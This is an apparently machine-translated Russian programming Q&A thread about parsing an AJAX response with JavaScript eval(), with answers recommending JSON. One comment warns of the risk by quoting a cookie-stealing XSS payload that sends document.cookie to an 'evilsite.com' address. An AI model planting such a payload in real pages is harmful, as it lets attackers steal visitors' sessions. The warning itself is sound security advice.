2010-10-19 6 views
0

Вот это проблема строка:Оценить строку в качестве объекта (JavaScript)

$.ajax(...... 
    ,success:function(msg){ 
     var obj = eval('['+msg.d+']'); 
    }, 
    .... 
} 

msg.d содержит что-то вроде:

new Person(2, 'Name Surname','This is just string came from Par'is at Sat'urday'); 

Как передать яваскрипт проблемы?

+1

'eval()' is 'EVIL'. 'eval()' будет оценивать ВСЕ в строке, будь то хорошо или нет, в зависимости от того, откуда вы кормите данные Person, вы можете столкнуться с большой проблемой безопасности в будущем. Если пользователю удастся прокрасть что-то вроде «new Image(). Src = 'http://evilsite.com/steal?c=' + document.cookie" 'как фамилия в вашу базу данных, ваша страница будет по-прежнему работать отлично штраф, только 2 вещи будут отличаться 1. Фамилия будет пустой и 2. cookie посетителя посетителя будет только украден. Пожалуйста, загляните в JSON, чтобы вы могли безопасно передавать данные клиенту без риска eval –

+0

, вызов Ajax не делает предположение о типе данных, возвращаемых скриптом на стороне сервера, поэтому msg - это только строка, а строка doesn ' t имеет свойство 'd'. – dvhh

ответ

1

Использование eval в этом сценарии является весьма опасным. Вы действительно должны использовать XML или JSON. (Вот почему они называют это AJAX.)

+2

Чтобы быть ясным, J в AJAX предназначен для JavaScript, а не JSON ... и строка подходит под эту категорию. –

+0

@ Ник, я имел в виду X. И J не ссылается на использование Javascript-кода в качестве среды связи через eval. –

+1

@ Eric - JSON не предоставляет способ передать исполняемую функцию, так что бы тут же решить эту проблему? –

5

Если строка действительно такая, как вы ее цитировали, она имеет синтаксическую ошибку и не будет работать (у нее есть ошибочный ' внутри слова «суббота»). В противном случае, однако, изменить скобки ([ и ]) в вашем eval вызове круглые скобки (( и )):

var obj = eval('('+msg.d+')'); 

Однако, он должен почти никогда не быть на самом деле нужно делать это (или даже использовать eval в все). Практически всегда возможно, и желательно, немного реорганизовать и избежать этого.

Если это буквальная цитата из вашего кода, см. Также dvhh's answer below, имя аргумента функции (msg.d) недействительно.

0

Из соображений безопасности я избегу использовать eval(). Если пользователь может получить вредоносный код в базе данных, есть шанс, что он может оказаться в этом выражении eval, разрушив хаос для всех, кто посещает эту страницу.

Вместо использования eval я рекомендую вернуть JSON из запроса AJAX. Затем вы можете легко проанализировать значения и создать новый объект Person с этими данными.

1

аргумент функции должен быть действительным идентификатором Javascript

попробуйте изменить msg.d к msg_d, например

+0

Хорошо заметили ... –

1

Вам может понадобиться, чтобы избежать вашей строки, потому что этот пример работает отлично:

function MyObject(myvar){ 
    this.hello = function(){ 
     alert('myvar= ' + myvar); 
    }; 
} 

var obj1 = new MyObject('hello'); 
obj1.hello(); 

var obj2 = eval("new MyObject('world')"); 
obj2.hello(); 

(Edit: Кстати, я предполагаю, что msg.d является опечаткой из-за редактирования snipplet перед публикацией в StackOverflow?)

+0

Если у вас есть контроль над сервером, я бы посоветовал использовать JSON (или XML, но он немного медленнее), что делает вещи более удобными в обслуживании и их легко использовать (я предполагаю, что вы используете jQuery из-за $ .ajax), просто измените поле dataType на «json», и вы получите прямое получение хорошей структуры в обработчике успеха). – wildpeaks

Смежные вопросы